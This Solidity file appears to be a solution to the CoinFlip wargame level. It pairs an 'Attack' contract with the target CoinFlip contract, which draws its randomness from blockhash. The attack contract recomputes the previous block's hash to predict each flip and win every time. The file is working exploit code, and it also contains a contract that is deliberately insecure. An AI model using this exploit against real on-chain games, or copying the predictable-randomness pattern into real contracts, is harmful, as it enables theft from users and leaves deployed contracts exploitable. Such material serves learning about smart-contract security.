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contracts...CoinFlip.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    CoinFlip private immutable target;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _targerAddr) {
        target = CoinFlip(_targerAddr);
    }

    function flip() external {
        bool g = _guess();
        require(target.flip(g), "failed!");
    }

    function _guess() private view returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}